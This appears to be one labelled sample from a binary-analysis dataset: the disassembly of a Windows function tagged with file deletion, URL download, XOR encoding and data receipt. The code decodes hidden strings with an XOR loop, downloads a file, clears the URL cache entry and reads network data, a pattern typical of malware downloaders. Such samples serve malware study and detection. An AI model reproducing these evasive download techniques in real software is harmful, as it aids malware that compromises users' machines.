Function at 0x14003b144
Capabilities:
Delete file
Download url
Encode data using xor
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r14
lea rbp, [rax - 0x168]
sub rsp, 0x250
mov rax, qword [0x14031f010]
xor rax, rsp
mov qword [rbp + 0x140], rax
mov rbx, rcx
mov qword [rsp + 0x58], rcx
xor edi, edi
mov dword [rsp + 0x70], edi
movups xmm0, xmmword [0x14030a468]
movups xmmword [rsp + 0x58], xmm0
movsd xmm1, qword [0x14030a478]
movsd qword [rsp + 0x68], xmm1
lea esi, [rdi + 1]
mov r14d, 0x24924925
cmp byte [0x14030a47f], dil
je 0x14003b1e7
mov r8d, edi
lea r9, [rsp + 0x58]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
add r8d, esi
add r9, rsi
cmp r8d, 0x18
jl 0x14003b1b9
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.140158210
mov ecx, eax
mov eax, 0x55555556
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
sub ecx, eax
mov eax, ecx
cdq
xor eax, edx
sub eax, edx
mov qword [rbp - 0x48], rdi
mov qword [rbp - 0x38], rdi
mov r12d, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x30], r12
mov byte [rbp - 0x48], dil
mov qword [rbp + 8], rdi
mov qword [rbp + 0x18], rdi
mov qword [rbp + 0x20], r12
mov byte [rbp + 8], dil
jne 0x14003b2bf
movups xmm0, xmmword [0x140309f70]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x140309f80]
movups xmmword [rsp + 0x40], xmm1
movzx eax, word [0x140309f90]
mov word [rsp + 0x50], ax
mov al, byte [0x140309f92]
mov byte [rsp + 0x52], al
mov r8d, edi
lea r9, [rsp + 0x30]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
add r8d, esi
add r9, rsi
cmp r8d, 0x23
jl 0x14003b275
lea rax, [rsp + 0x30]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x14003b2ac
lea rdx, [rsp + 0x30]
jmp 0x14003b3cf
cmp eax, esi
jne 0x14003b341
movups xmm0, xmmword [0x14030a958]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14030a968]
movups xmmword [rsp + 0x40], xmm1
mov eax, dword [0x14030a978]
mov dword [rsp + 0x50], eax
mov al, byte [0x14030a97c]
mov byte [rsp + 0x54], al
mov r8d, edi
lea r9, [rsp + 0x30]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
add r8d, esi
add r9, rsi
cmp r8d, 0x25
jl 0x14003b2f7
lea rax, [rsp + 0x30]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x14003b32e
lea rdx, [rsp + 0x30]
jmp 0x14003b3cf
cmp eax, 2
jne 0x14003b3d8
movups xmm0, xmmword [0x14030af80]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14030af90]
movups xmmword [rsp + 0x40], xmm1
mov eax, dword [0x14030afa0]
mov dword [rsp + 0x50], eax
movzx eax, word [0x14030afa4]
mov word [rsp + 0x54], ax
mov al, byte [0x14030afa6]
mov byte [rsp + 0x56], al
mov r8d, edi
lea r9, [rsp + 0x30]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
add r8d, esi
add r9, rsi
cmp r8d, 0x27
jl 0x14003b38a
lea rax, [rsp + 0x30]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x14003b3c1
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x48]
call fcn.1400483c4
call fcn.140039c30
movups xmm0, xmmword [0x14030a468]
movups xmmword [rsp + 0x58], xmm0
movsd xmm1, qword [0x14030a478]
movsd qword [rsp + 0x68], xmm1
cmp byte [0x14030a47f], dil
je 0x14003b436
mov r8d, edi
lea r9, [rsp + 0x58]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
add r8d, esi
add r9, rsi
cmp r8d, 0x18
jl 0x14003b408
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae rdx, qword [rbp - 0x48]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rsp + 0x58]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x14003b471
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0x10
cmovae rcx, qword [rbp - 0x48]
call qword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0x30]
call fcn.14012e330
movups xmm0, xmmword [0x14030a468]
movups xmmword [rsp + 0x30], xmm0
movsd xmm1, qword [0x14030a478]
movsd qword [rsp + 0x40], xmm1
cmp byte [0x14030a47f], dil
je 0x14003b4db
mov r8d, edi
lea r9, [rsp + 0x30]
mov eax, r14d
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
mov al, r8b
sub al, cl
add al, 0x39
xor byte [r9], al
add r8d, esi
add r9, rsi
cmp r8d, 0x18
jl 0x14003b4ad
lea rax, [0x14030a768]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0xe8], rdi
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x110], xmm0
mov qword [rbp + 0x120], rdi
mov dword [rsp + 0x70], 2
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + 0xe0], rax
mov dword [rbp + 0xdc], 0x98
mov qword [rbp + 0x38], rdi
xor r8d, r8d
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xe0]
call fcn.14004b390
nop
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x30], rax
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x2c], edx
lea rcx, [rbp + 0x40]
call fcn.14004b304
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp + 0x40], rax
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x40]
call fcn.1400496e0
nop
cmp qword [rbp + 0xc0], rdi
jne 0x14003b5fe
mov r8d, 0x40
mov edx, esi
lea rcx, [rsp + 0x30]
call fcn.140061fa0
test rax, rax
je 0x14003b5fe
mov r8d, esi
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.1400496e0
mov rax, qword [rbp + 0xa0]
mov rcx, qword [rax + 8]
mov qword [rsp + 0x60], rcx
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_htonl]
nop
lea rcx, [rsp + 0x58]
call fcn.14004c320
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.1400495a0
nop
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x14003b628
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rax
test rax, rax
je 0x14003b628
mov rax, qword [rax]
mov edx, esi
call qword [rax]
jmp 0x14003b628
mov rax, qword [rbp + 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x30]
add rcx, rax
mov rax, qword [rcx + 0x48]
neg rax
sbb edx, edx
and edx, 0xfffffffc
add edx, 6
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.140038f34
nop
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x18], rdi
mov qword [rbp - 0x10], r12
mov byte [rbp - 0x28], dil
lea rdx, [rbp - 0x28]
lea rcx, [rbp + 0x30]
call fcn.1400555d8
mov qword [rbp - 0x50], rdi
lea r8, [rsp + 0x78]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 8]
call fcn.14004bd44
nop
call fcn.140039c30
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], 7
mov eax, dword [0x14030b400]
mov dword [rsp + 0x30], eax
movzx eax, word [0x14030b404]
mov word [rsp + 0x34], ax
mov al, byte [0x14030b406]
mov byte [rsp + 0x36], al
mov byte [rsp + 0x37], dil
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 8]
call fcn.140047bd4
mov rcx, rax
mov rdx, rbx
call fcn.14004bfa8
nop
mov dl, byte [rbp - 8]
lea rcx, [rbp]
call fcn.140049858
nop
mov esi, 0x1000
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x14003b6fc
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, rsi
jb 0x14003b6f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003b798
call fcn.14005e360
mov qword [rbp - 0x18], rdi
mov qword [rbp - 0x10], r12
mov byte [rbp - 0x28], dil
lea rcx, [rbp + 0xe0]
call fcn.140047a80
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xe0], rax
lea rcx, [rbp + 0xe0]
call fcn.140061d98
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0x10
jb 0x14003b763
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, rsi
jb 0x14003b75e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003b792
call fcn.14005e360
mov rax, rbx
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.14005e190
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r12
pop rbp
ret
call fcn.14015e7b0
nop
call fcn.14015e7b0
nop
int3